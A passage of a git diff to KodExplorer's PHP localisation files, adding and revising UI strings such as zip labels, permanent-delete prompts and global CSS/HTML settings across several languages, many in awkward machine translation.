"esborrar", "remove_force" => "eliminar completament", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "vista de directori d'actualització", "manage_folder" => "administració de directoris", "close_menu" => "Tancar menú", - "zip" => "compressió zip", - "unzip" => "ZIP per extreure ...", + "zip" => "Comprimit per ...", + "unzip" => "Per extreure ...", "unzip_folder" => "Descomprimir en una carpeta", "unzip_this" => "Extreure en el corrent", - "unzip_to" => "per extreure", + "unzip_to" => "Per extreure ...", + "zipview_file_big" => "L'arxiu és massa gran, i després extreure l'operació d'impressió!", "clipboard" => "veure portapapers", "full_screen" => "pantalla completa", "folder_info_item" => "articles", @@ -344,6 +356,8 @@ return array( "moving" => "operació mòbil ...", "remove_title" => "Confirmació d'eliminació", "remove_info" => "Confirma per eliminar l'element seleccionat?", + "remove_title_force" => "definitivament exclòs", + "remove_info_force" => "Està segur que vol eliminar aquest document?", "name_isexists" => "Malament, el nom ja existeix!", "install" => "instal·lar", "width" => "ample", @@ -417,7 +431,7 @@ return array( "download_success" => "Descarregar l'èxit!", "download_error" => "Error en la descàrrega!", "download_error_create" => "Error d'escriptura!", - "download_error_exists" => "fitxer remot no existeix!", + "download_error_exists" => "Enllaç a fitxer no!", "upload_error_null" => "Cap arxiu!", "upload_error_big" => "Mida del fitxer excedeix els límits de servidor", "upload_error_move" => "No s'ha pogut moure el fitxer!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "eliminació d'arxius", "group_role_pathinfo" => "Propietats d'arxiu", "group_role_pathmove" => "Moure (copiar / tallar / enganxar / operació d 'arrossegament)", - "group_role_zip" => "compressió zip", - "group_role_unzip" => "descomprimir zip", + "group_role_zip" => "compressió", + "group_role_unzip" => "obrir la cremallera", "group_role_search" => "recerca", "group_role_filesave" => "Deseu el fitxer per editar", "group_role_can_upload" => "Càrrega i descàrrega", diff --git a/config/i18n/cs/main.php b/config/i18n/cs/main.php index 52e3543..1200b54 100755 --- a/config/i18n/cs/main.php +++ b/config/i18n/cs/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango cloud • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango cloud • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Přihlásit", "guest_login" => "Sign", "username" => "Uživatelské jméno", @@ -251,6 +254,13 @@ return array( "login_code" => "kódy", "need_check_code" => "Vstup autentizační kód open", "login_rember_password" => "Zapamatovat heslo", + "setting_clear_user_recycle" => "Vysypat koš pro všechny uživatele", + "setting_clear_cache" => "Vyprázdnit mezipaměť", + "setting_icp" => "Autorských práv nebo číslo záznamu", + "setting_global_css" => "Custom globální css", + "setting_global_css_desc" => "Všechny stránky vloží vlastní css", + "setting_global_html" => "Statistický kód HTML", + "setting_global_html_desc" => "Všechny stránky bude vložena do tohoto odstavce html kód, kód může být umístěn statistiky třetích stran", "us" => "kalcaddle.com", "login_not_null" => "Uživatelské jméno a heslo nemůže být prázdný!", "code_error" => "chybové kódy", @@ -261,6 +271,7 @@ return array( "permission_edit" => "upravit oprávnění", "no_permission" => "Administrátor zablokoval tuto výsadu!", "no_permission_ext" => "Administrátor zakázal tento typ oprávnění k souborům", + "dialog_max" => "maximalizovat", "dialog_min" => "minimalizovat", "dialog_min_all" => "minimalizovat všechny", "dialog_display_all" => "Zobrazuje všechna okna", @@ -306,7 +317,7 @@ return array( "past" => "hůl", "clone" => "Je možné vytvořit kopii", "cute" => "stříhat", - "cute_to" => "Střih na ...", + "cute_to" => "Přesunout do ...", "copy_to" => "Kopírovat do ...", "remove" => "vymazat", "remove_force" => "zcela odstranit", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Aktualizovat adresářový strom", "manage_folder" => "Directory management", "close_menu" => "Zavřít výběr", - "zip" => "komprese zip", - "unzip" => "zip extrahovat ...", + "zip" => "Stlačen na ...", + "unzip" => "Chcete-li extrahovat ...", "unzip_folder" => "Rozbalení souborů do složky", "unzip_this" => "Rozbalit do proudu", - "unzip_to" => "Chcete-li extrahovat", + "unzip_to" => "Chcete-li extrahovat ...", + "zipview_file_big" => "Soubor je příliš velký, a pak extrahovat náhled operace!", "clipboard" => "Výhled Schránka", "full_screen" => "Full Screen", "folder_info_item" => "předměty", @@ -344,6 +356,8 @@ return array( "moving" => "Mobilní provoz ...", "remove_title" => "smazat Potvrzení", "remove_info" => "Potvrdit smazat vybranou položku?", + "remove_title_force" => "trvale odstraněny", + "remove_info_force" => "Opravdu chcete trvale smazat tento dokument?", "name_isexists" => "Špatné jméno již existuje!", "install" => "instalovat", "width" => "šíře", @@ -417,7 +431,7 @@ return array( "download_success" => "Ke stažení úspěch!", "download_error" => "Stažení se nezdařilo!", "download_error_create" => "Write chyba!", - "download_error_exists" => "Vzdálený soubor neexistuje!", + "download_error_exists" => "Odkaz na soubor selhal!", "upload_error_null" => "Žádný soubor!", "upload_error_big" => "Velikost souboru překračuje limit serveru", "upload_error_move" => "Nepodařilo se přesunout soubor!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "odstranění souboru", "group_role_pathinfo" => "Vlastnosti souboru", "group_role_pathmove" => "Move (copy / cut / paste / drag provoz)", - "group_role_zip" => "komprese zip", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "komprese", + "group_role_unzip" => "rozepnout zip", "group_role_search" => "vyhledávání", "group_role_filesave" => "Uložte soubor upravovat", "group_role_can_upload" => "Nahrávání a stahování", diff --git a/config/i18n/da/main.php b/config/i18n/da/main.php index 3545f2a..2b45d4f 100755 --- a/config/i18n/da/main.php +++ b/config/i18n/da/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango cloud • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango cloud • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Log på", "guest_login" => "gæst Log", "username" => "Brugernavn", @@ -251,6 +254,13 @@ return array( "login_code" => "Koder", "need_check_code" => "Login authentication code åben", "login_rember_password" => "Husk adgangskode", + "setting_clear_user_recycle" => "Tøm papirkurven for alle brugere", + "setting_clear_cache" => "Tøm cachen", + "setting_icp" => "Copyright eller rekordstort antal", + "setting_global_css" => "Tilpasset globale css", + "setting_global_css_desc" => "Alle sider indsætter brugerdefinerede css", + "setting_global_html" => "Statistisk kode HTML", + "setting_global_html_desc" => "Alle sider vil blive indsat i dette stykke HTML-kode, kan koden placeres tredjeparts statistik", "us" => "kalcaddle.com", "login_not_null" => "Brugernavn og adgangskode kan ikke være tom!", "code_error" => "fejlkoder", @@ -261,6 +271,7 @@ return array( "permission_edit" => "Ændre Tilladelser", "no_permission" => "Administrator har deaktiveret dette privilegium!", "no_permission_ext" => "Administrator forbudt denne type filrettigheder", + "dialog_max" => "Maksimer", "dialog_min" => "Minimer", "dialog_min_all" => "Minimer alle", "dialog_display_all" => "Vis alle vinduer", @@ -306,7 +317,7 @@ return array( "past" => "Stick", "clone" => "Opret en kopi", "cute" => "Shear", - "cute_to" => "Skær til ...", + "cute_to" => "Flyt til ...", "copy_to" => "Kopier til ...", "remove" => "Slet", "remove_force" => "helt at fjerne", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Opdater mappetræ", "manage_folder" => "Register Management", "close_menu" => "Luk menu", - "zip" => "zip kompression", - "unzip" => "zip at udvinde ...", + "zip" => "Komprimeres til ...", + "unzip" => "At udvinde ...", "unzip_folder" => "Filerne til en mappe", "unzip_this" => "Uddrag til den aktuelle", - "unzip_to" => "at udvinde", + "unzip_to" => "At udvinde ...", + "zipview_file_big" => "Filen er for stor, og derefter udtrække preview operation!", "clipboard" => "Vis Udklipsholder", "full_screen" => "Fuld skærm", "folder_info_item" => "Elementer", @@ -344,6 +356,8 @@ return array( "moving" => "Mobil operation ...", "remove_title" => "Slet Bekræftelse", "remove_info" => "Bekræft for at slette det valgte emne?", + "remove_title_force" => "slettet permanent", + "remove_info_force" => "Du sikker på du vil slette dette dokument?", "name_isexists" => "Forkert, findes allerede navnet!", "install" => "Installer", "width" => "Bredde", @@ -417,7 +431,7 @@ return array( "download_success" => "Hent Succes!", "download_error" => "Hent mislykkedes!", "download_error_create" => "Skriv fejl!", - "download_error_exists" => "Fjernbetjening fil findes ikke!", + "download_error_exists" => "Link til fil mislykkedes!", "upload_error_null" => "Ingen fil!", "upload_error_big" => "Fil størrelse overskrider server grænser", "upload_error_move" => "Kunne ikke flytte fil!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "Fil sletning", "group_role_pathinfo" => "Egenskaber Fil", "group_role_pathmove" => "Flyt (copy / cut / paste / træk drift)", - "group_role_zip" => "zip kompression", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "Compression", + "group_role_unzip" => "Unzip", "group_role_search" => "Søg", "group_role_filesave" => "Gem filen for at redigere", "group_role_can_upload" => "Upload og download", diff --git a/config/i18n/de/main.php b/config/i18n/de/main.php index 1b8db95..894c58c 100755 --- a/config/i18n/de/main.php +++ b/config/i18n/de/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango Wolke • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango Wolke • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "einloggen", "guest_login" => "Gast Login", "username" => "Benutzername", @@ -251,6 +254,13 @@ return array( "login_code" => "Codes", "need_check_code" => "Anmeldung Authentifizierungscode geöffnet", "login_rember_password" => "Passwort speichern", + "setting_clear_user_recycle" => "Leeren Sie den Papierkorb für alle Benutzer", + "setting_clear_cache" => "Leeren Sie den Cache", + "setting_icp" => "Copyright oder Datensatznummer", + "setting_global_css" => "Benutzerdefinierte globale CSS", + "setting_global_css_desc" => "Alle Seiten werden benutzerdefinierte CSS einfügen", + "setting_global_html" => "Statistische HTML-Code", + "setting_global_html_desc" => "Alle Seiten werden in diesem Absatz HTML-Code eingefügt werden, kann der Code von Drittanbietern Statistiken platziert werden", "us" => "kalcaddle.com", "login_not_null" => "Benutzername und Passwort darf nicht leer sein!", "code_error" => "Fehlercodes", @@ -261,6 +271,7 @@ return array( "permission_edit" => "ändern von Berechtigungen", "no_permission" => "Administrator hat diese Berechtigung deaktiviert!", "no_permission_ext" => "Administrator verboten, diese Art von Dateiberechtigungen", + "dialog_max" => "maximieren", "dialog_min" => "minimieren", "dialog_min_all" => "Minimieren Sie alle", "dialog_display_all" => "Alle Fenster", @@ -306,7 +317,7 @@ return array( "past" => "Stock", "clone" => "Erstellen Sie eine Kopie", "cute" => "scheren", - "cute_to" => "Schneiden Sie auf ...", + "cute_to" => "Gehen Sie zu ...", "copy_to" => "Kopieren in ...", "remove" => "löschen", "remove_force" => "entfernen Sie vollständig", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Aktualisieren Verzeichnisbaum", "manage_folder" => "Directory Management", "close_menu" => "Menü schließen", - "zip" => "ZIP-Komprimierung", - "unzip" => "zip zu extrahieren ...", + "zip" => "Komprimierte zu ...", + "unzip" => "So extrahieren ...", "unzip_folder" => "Entpacken in einen Ordner", "unzip_this" => "Auszug der aktuellen", - "unzip_to" => "So extrahieren", + "unzip_to" => "So extrahieren ...", + "zipview_file_big" => "Die Datei ist zu groß, und extrahieren Sie die Vorschau-Betrieb!", "clipboard" => "Ansicht Zwischenablage", "full_screen" => "Full Screen", "folder_info_item" => "Artikel", @@ -344,6 +356,8 @@ return array( "moving" => "Mobile Bedienung ...", "remove_title" => "löschen Bestätigung", "remove_info" => "Bestätigen Sie das ausgewählte Element zu löschen?", + "remove_title_force" => "Endgültig gelöschte", + "remove_info_force" => "Sie sicher, dass Sie dauerhaft dieses Dokument löschen?", "name_isexists" => "Falsch, existiert der Name schon!", "install" => "installieren", "width" => "Breite", @@ -417,7 +431,7 @@ return array( "download_success" => "Download Success!", "download_error" => "Download fehlgeschlagen!", "download_error_create" => "Schreibfehler!", - "download_error_exists" => "Remote-Datei existiert nicht!", + "download_error_exists" => "Link zur Datei fehlgeschlagen!", "upload_error_null" => "Keine Datei!", "upload_error_big" => "Dateigröße überschreitet Server Grenzen", "upload_error_move" => "Datei konnte nicht bewegen!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "Datei-Löschung", "group_role_pathinfo" => "Dateieigenschaften", "group_role_pathmove" => "Move (Kopieren / Ausschneiden / Einfügen / Drag-Operation)", - "group_role_zip" => "ZIP-Komprimierung", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "Kompression", + "group_role_unzip" => "Dekomprimieren", "group_role_search" => "Suche", "group_role_filesave" => "Speichern Sie die Datei zu bearbeiten", "group_role_can_upload" => "Hochladen und Herunterladen", diff --git a/config/i18n/el/main.php b/config/i18n/el/main.php index 96bb2d3..e16f190 100755 --- a/config/i18n/el/main.php +++ b/config/i18n/el/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango σύννεφο • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango σύννεφο • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "συνδεθείτε", "guest_login" => "Επισκέπτης Είσοδος", "username" => "Όνομα Χρήστη", @@ -251,6 +254,13 @@ return array( "login_code" => "κώδικες", "need_check_code" => "Ο κωδικός σύνδεσης ταυτότητας ανοικτού", "login_rember_password" => "Απομνημόνευση κωδικού πρόσβασης", + "setting_clear_user_recycle" => "Αδειάστε τον κάδο ανακύκλωσης για όλους τους χρήστες", + "setting_clear_cache" => "Άδειασμα της προσωρινής μνήμης", + "setting_icp" => "Πνευματικά δικαιώματα ή να γράψετε τον αριθμό", + "setting_global_css" => "Προσαρμοσμένη παγκόσμια css", + "setting_global_css_desc" => "Όλες οι σελίδες θα εισάγει έθιμο css", + "setting_global_html" => "Στατιστική HTML κώδικα", + "setting_global_html_desc" => "Όλες οι σελίδες θα πρέπει να εισαχθεί σε αυτό το σημείο κώδικα HTML, ο κώδικας μπορεί να τοποθετηθεί στατιστικών στοιχείων από τρίτους", "us" => "kalcaddle.com", "login_not_null" => "Username και password δεν μπορεί να είναι κενό!", "code_error" => "κωδικούς σφαλμάτων", @@ -261,6 +271,7 @@ return array( "permission_edit" => "Τροποποίηση Δικαιώματα", "no_permission" => "Διαχειριστής έχει απενεργοποιήσει αυτό το προνόμιο!", "no_permission_ext" => "Διαχειριστής απαγορεύσει αυτό το είδος της δικαιώματα αρχείου", + "dialog_max" => "Μεγιστοποιήστε", "dialog_min" => "ελαχιστοποίηση", "dialog_min_all" => "ελαχιστοποίηση όλων", "dialog_display_all" => "Εμφάνιση όλων των παραθύρων", @@ -306,7 +317,7 @@ return array( "past" => "ραβδί", "clone" => "Δημιουργήστε ένα αντίγραφο", "cute" => "διάτμηση", - "cute_to" => "Κομμένα σε ...", + "cute_to" => "Μετακίνηση σε ...", "copy_to" => "Αντιγραφή σε ...", "remove" => "Διαγραφή", "remove_force" => "εντελώς αφαιρέστε", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Ανανέωση δέντρου καταλόγου", "manage_folder" => "Διαχείριση Directory", "close_menu" => "Κλείσιμο μενού", - "zip" => "συμπίεση zip", - "unzip" => "zip για να εξαγάγετε ...", + "zip" => "Συμπιέζονται για να ...", + "unzip" => "Για την εξαγωγή ...", "unzip_folder" => "Αποσυμπιέστε σε ένα φάκελο", "unzip_this" => "Απόσπασμα με την τρέχουσα", - "unzip_to" => "Για να εξαγάγετε", + "unzip_to" => "Για την εξαγωγή ...", + "zipview_file_big" => "Το αρχείο είναι πολύ μεγάλο, και στη συνέχεια να εξαγάγετε τη λειτουργία προεπισκόπησης!", "clipboard" => "Προβολή Πρόχειρο", "full_screen" => "Πλήρης οθόνη", "folder_info_item" => "Είδη", @@ -344,6 +356,8 @@ return array( "moving" => "Κινητό λειτουργία ...", "remove_title" => "Διαγραφή Επικύρωση", "remove_info" => "Επιβεβαίωση για να διαγράψετε το επιλεγμένο αντικείμενο;", + "remove_title_force" => "διαγράφονται οριστικά", + "remove_info_force" => "Είστε βέβαιοι ότι θέλετε να διαγράψετε οριστικά αυτό το έγγραφο;", "name_isexists" => "Λάθος, το όνομα υπάρχει ήδη!", "install" => "εγκαταστήστε", "width" => "πλάτος", @@ -417,7 +431,7 @@ return array( "download_success" => "Λήψη Επιτυχία!", "download_error" => "Η λήψη απέτυχε!", "download_error_create" => "Γράψτε λάθος!", - "download_error_exists" => "Απομακρυσμένη αρχείο δεν υπάρχει!", + "download_error_exists" => "Σύνδεσμος για απέτυχε αρχείο!", "upload_error_null" => "Δεν υπάρχει αρχείο!", "upload_error_big" => "μέγεθος του αρχείου υπερβαίνει τα όρια του server", "upload_error_move" => "Αποτυχία για να μετακινήσετε το αρχείο!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "διαγραφή αρχείων", "group_role_pathinfo" => "Ιδιότητες αρχείου", "group_role_pathmove" => "Μετακίνηση (αντιγραφή / αποκοπή / επικόλληση / λειτουργία drag)", - "group_role_zip" => "συμπίεση zip", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "συμπίεση", + "group_role_unzip" => "ανοίγω φερμουάρ", "group_role_search" => "έρευνα", "group_role_filesave" => "Αποθηκεύστε το αρχείο να επεξεργαστείτε", "group_role_can_upload" => "Ανέβασμα και κατέβασμα", diff --git a/config/i18n/en/main.php b/config/i18n/en/main.php index 2c4ff59..bfd48ea 100755 --- a/config/i18n/en/main.php +++ b/config/i18n/en/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Kod online explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Kod online explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Login", "guest_login" => "Guest", "username" => "Name", @@ -251,6 +254,13 @@ return array( "login_code" => "Verification", "need_check_code" => "Need Verification", "login_rember_password" => "Remember me", + "setting_clear_user_recycle" => "Clear all user recycle", + "setting_clear_cache" => "Clear cache", + "setting_icp" => "Copyright or record number", + "setting_global_css" => "Customize global css", + "setting_global_css_desc" => "All pages will be inserted in custom css", + "setting_global_html" => "Statistical code", + "setting_global_html_desc" => "All pages will be inserted into this html code, you can place third-party statistics", "us" => "kalcaddle.com", "login_not_null" => "User name and password cannot be empty!", "code_error" => "Verification code error", @@ -261,7 +271,8 @@ return array( "permission_edit" => "Permission Edit", "no_permission" => "User without permission!", "no_permission_ext" => "This type of file without permission", - "dialog_min" => "Hide", + "dialog_max" => "Maximize", + "dialog_min" => "Minimize", "dialog_min_all" => "Hide all", "dialog_display_all" => "Display all", "dialog_close_all" => "Close all", @@ -306,7 +317,7 @@ return array( "past" => "Paste", "clone" => "Duplicate", "cute" => "Cut", - "cute_to" => "Cut to ...", + "cute_to" => "move to...", "copy_to" => "copy to...", "remove" => "Delete", "remove_force" => "Remove completely", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Reload tree", "manage_folder" => "Show in Finder", "close_menu" => "Close menu", - "zip" => "Zip archive", - "unzip" => "Zip unzip to ...", + "zip" => "Create archive ...", + "unzip" => "Extract to ...", "unzip_folder" => "Folder", "unzip_this" => "Here", - "unzip_to" => "Unzip To", + "unzip_to" => "Unzip to ...", + "zipview_file_big" => "The file is too large, please extract and then preview!", "clipboard" => "View clipboard", "full_screen" => "Full screen", "folder_info_item" => " items", @@ -344,6 +356,8 @@ return array( "moving" => "Move file", "remove_title" => "Delete confirmation", "remove_info" => "Confirmation remove the selected?", + "remove_title_force" => "delete permanently", + "remove_info_force" => "Are you sure you want to permanently delete this document?", "name_isexists" => "Error,the name already exists! ", "install" => "Install", "width" => "Width", @@ -417,7 +431,7 @@ return array( "download_success" => "Download success! ", "download_error" => "Download_error.", "download_error_create" => "Create file error.", - "download_error_exists" => "File does not exist.", + "download_error_exists" => "Link to file failed!", "upload_error_null" => "No files!", "upload_error_big" => "File size too big", "upload_error_move" => "Move file failed! ", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "File deletion", "group_role_pathinfo" => "File properties", "group_role_pathmove" => "Move(copy/cute/past/drag to)", - "group_role_zip" => "Zip", - "group_role_unzip" => "Unzip", + "group_role_zip" => "compression", + "group_role_unzip" => "Decompression", "group_role_search" => "Search", "group_role_filesave" => "Edit and save", "group_role_can_upload" => "Upload", diff --git a/config/i18n/es/main.php b/config/i18n/es/main.php index 5fba1a2..358d4fe 100755 --- a/config/i18n/es/main.php +++ b/config/i18n/es/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango nube • Explorador", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango nube • Explorador", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "iniciar la sesión", "guest_login" => "visitas Firme", "username" => "Nombre de usuario", @@ -251,6 +254,13 @@ return array( "login_code" => "códigos", "need_check_code" => "código de autenticación de inicio de sesión abierta", "login_rember_password" => "recordar contraseña", + "setting_clear_user_recycle" => "Vaciar la papelera de reciclaje para todos los usuarios", + "setting_clear_cache" => "Vaciar la caché", + "setting_icp" => "Los derechos de autor o número de registro", + "setting_global_css" => "CSS personalizado mundial", + "setting_global_css_desc" => "Todas las páginas se inserte CSS personalizado", + "setting_global_html" => "HTML código estadístico", + "setting_global_html_desc" => "se insertarán todas las páginas en este código html párrafo, el código se puede colocar estadísticas de terceros", "us" => "kalcaddle.com", "login_not_null" => "Nombre de usuario y la contraseña no puede estar vacía!", "code_error" => "Los códigos de error", @@ -261,6 +271,7 @@ return array( "permission_edit" => "modificar permisos", "no_permission" => "Administrador ha desactivado este privilegio!", "no_permission_ext" => "Administrador prohibió este tipo de permisos de archivo", + "dialog_max" => "maximizar", "dialog_min" => "minimizar", "dialog_min_all" => "Minimizar todo", "dialog_display_all" => "Mostrar todas las ventanas", @@ -306,7 +317,7 @@ return array( "past" => "palo", "clone" => "Crear una copia", "cute" => "cizalla", - "cute_to" => "Corte a ...", + "cute_to" => "Mover a ...", "copy_to" => "Copiar a ...", "remove" => "borrar", "remove_force" => "eliminar completamente", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "árbol de directorios de actualización", "manage_folder" => "administración de directorios", "close_menu" => "Cerrar menú", - "zip" => "compresión zip", - "unzip" => "ZIP para extraer ...", + "zip" => "Comprimido para ...", + "unzip" => "Para extraer ...", "unzip_folder" => "Descomprimir en una carpeta", "unzip_this" => "Extraer en la corriente", - "unzip_to" => "para extraer", + "unzip_to" => "Para extraer ...", + "zipview_file_big" => "El archivo es demasiado grande, y luego extraer la operación de impresión!", "clipboard" => "Ver Portapapeles", "full_screen" => "pantalla completa", "folder_info_item" => "artículos", @@ -344,6 +356,8 @@ return array( "moving" => "operación móvil ...", "remove_title" => "Confirmación de eliminación", "remove_info" => "Confirmar para eliminar el elemento seleccionado?", + "remove_title_force" => "definitivamente excluido", + "remove_info_force" => "Está seguro que quiere eliminar este documento?", "name_isexists" => "Mal, el nombre ya existe!", "install" => "instalar", "width" => "ancho", @@ -417,7 +431,7 @@ return array( "download_success" => "Descargar el éxito!", "download_error" => "Error en la descarga!", "download_error_create" => "Error de escritura!", - "download_error_exists" => "archivo remoto no existe!", + "download_error_exists" => "Enlace a archivo no!", "upload_error_null" => "Ningún archivo!", "upload_error_big" => "Tamaño del archivo excede los límites de servidor", "upload_error_move" => "No se ha podido mover el archivo!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "eliminación de archivos", "group_role_pathinfo" => "Propiedades de archivo", "group_role_pathmove" => "Mover (copiar / cortar / pegar / operación de arrastre)", - "group_role_zip" => "compresión zip", - "group_role_unzip" => "descomprimir zip", + "group_role_zip" => "compresión", + "group_role_unzip" => "abrir la cremallera", "group_role_search" => "búsqueda", "group_role_filesave" => "Guarde el archivo para editar", "group_role_can_upload" => "Carga y descarga", diff --git a/config/i18n/et/main.php b/config/i18n/et/main.php index 2040da8..3600242 100755 --- a/config/i18n/et/main.php +++ b/config/i18n/et/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango pilv • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango pilv • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Logi sisse", "guest_login" => "Klientide Liitu", "username" => "kasutajanimi", @@ -251,6 +254,13 @@ return array( "login_code" => "koodid", "need_check_code" => "Logi sisse autentimise kood avatud", "login_rember_password" => "Pea parool", + "setting_clear_user_recycle" => "Prügikasti tühjendamine kõigile kasutajatele", + "setting_clear_cache" => "Tühjenda vahemälu", + "setting_icp" => "Copyright või rekordarv", + "setting_global_css" => "Custom globaalse css", + "setting_global_css_desc" => "Kõik leheküljed lisab kohandatud CSS", + "setting_global_html" => "Statistilised koodi HTML", + "setting_global_html_desc" => "Kõik leheküljed lisatakse käesolevas lõikes html koodis saab paigutada kolmanda osapoole statistika", "us" => "kalcaddle.com", "login_not_null" => "Kasutajanime ja salasõna ei saa olla tühi!", "code_error" => "Viga koodid", @@ -261,6 +271,7 @@ return array( "permission_edit" => "Muutke reeglid", "no_permission" => "Administraator on keelanud see privileeg!", "no_permission_ext" => "Administraator keelatud seda tüüpi faili õigusi", + "dialog_max" => "maksimeerima", "dialog_min" => "minimeerima", "dialog_min_all" => "Minimeeri kõik", "dialog_display_all" => "Näita kõik aknad", @@ -306,7 +317,7 @@ return array( "past" => "kepp", "clone" => "Loo koopia", "cute" => "lõikama", - "cute_to" => "Lõika ...", + "cute_to" => "Liigu ...", "copy_to" => "Kopeeri ...", "remove" => "kustutama", "remove_force" => "täielikult eemaldada", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Värskenda kataloogipuu", "manage_folder" => "Kataloog juhtimine", "close_menu" => "Sulge menüü", - "zip" => "zip compression", - "unzip" => "zip ekstrakti ...", + "zip" => "Surutud ...", + "unzip" => "Väljavõte ...", "unzip_folder" => "Unzip kausta", "unzip_this" => "Väljavõte praeguse", - "unzip_to" => "ekstrakti", + "unzip_to" => "Väljavõte ...", + "zipview_file_big" => "Fail on liiga suur, ja siis väljavõte eelvaate töös!", "clipboard" => "Vaata lõikelaud", "full_screen" => "Full Screen", "folder_info_item" => "esemed", @@ -344,6 +356,8 @@ return array( "moving" => "Mobiilne operatsioon ...", "remove_title" => "Kustuta kinnitus", "remove_info" => "Kinnita kustutada valitud kirje?", + "remove_title_force" => "kustutatakse jäädavalt", + "remove_info_force" => "Oled kindel, et soovid jäädavalt kustutada selle dokumendi?", "name_isexists" => "Vale on juba olemas!", "install" => "paigaldama", "width" => "laius", @@ -417,7 +431,7 @@ return array( "download_success" => "Lae Edu!", "download_error" => "Lae ebaõnnestus!", "download_error_create" => "Kirjutage viga!", - "download_error_exists" => "Võrgufail ei ole olemas!", + "download_error_exists" => "Link failile ebaõnnestus!", "upload_error_null" => "Ei fail!", "upload_error_big" => "Faili suurus ületab server piirid", "upload_error_move" => "Ei liiguta fail!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "faili kustutamine", "group_role_pathinfo" => "failiomaduste", "group_role_pathmove" => "Move (copy / cut / paste / lohistamise protsess)", - "group_role_zip" => "zip compression", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "kokkusurumine", + "group_role_unzip" => "tõmblukku lahti tõmbama", "group_role_search" => "otsing", "group_role_filesave" => "Salvesta fail muuta", "group_role_can_upload" => "Üles- ja allalaadimine", diff --git a/config/i18n/fa/main.php b/config/i18n/fa/main.php index 4aa12de..cc25d8c 100755 --- a/config/i18n/fa/main.php +++ b/config/i18n/fa/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "انبه ابر • اکسپلورر", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "انبه ابر • اکسپلورر", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "ورود به سیستم", "guest_login" => "ثبت نام مهمان", "username" => "نام کاربری", @@ -251,6 +254,13 @@ return array( "login_code" => "کد", "need_check_code" => "کد تصدیق ورود به سیستم باز", "login_rember_password" => "به یاد داشته باشید رمز عبور", + "setting_clear_user_recycle" => "خالی سطل آشغال برای همه کاربران", + "setting_clear_cache" => "خالی کردن حافظه پنهان", + "setting_icp" => "کپی رایت و یا ثبت شماره", + "setting_global_css" => "CSS جهانی سفارشی", + "setting_global_css_desc" => "همه صفحات CSS سفارشی وارد", + "setting_global_html" => "کد HTML غیر آماری", + "setting_global_html_desc" => "همه صفحات خواهد شد در این کد بند وارد شود، کد را می توان آمار شخص ثالث قرار می گیرد", "us" => "kalcaddle.com", "login_not_null" => "نام کاربری و رمز عبور نباید خالی باشد!", "code_error" => "کدهای خطا", @@ -261,6 +271,7 @@ return array( "permission_edit" => "تغییر مجوز", "no_permission" => "مدیر این امتیاز را غیرفعال کرده است.", "no_permission_ext" => "مدیر ممنوع این نوع مجوز های دسترسی فایل", + "dialog_max" => "بیشینه ساختن", "dialog_min" => "به حداقل 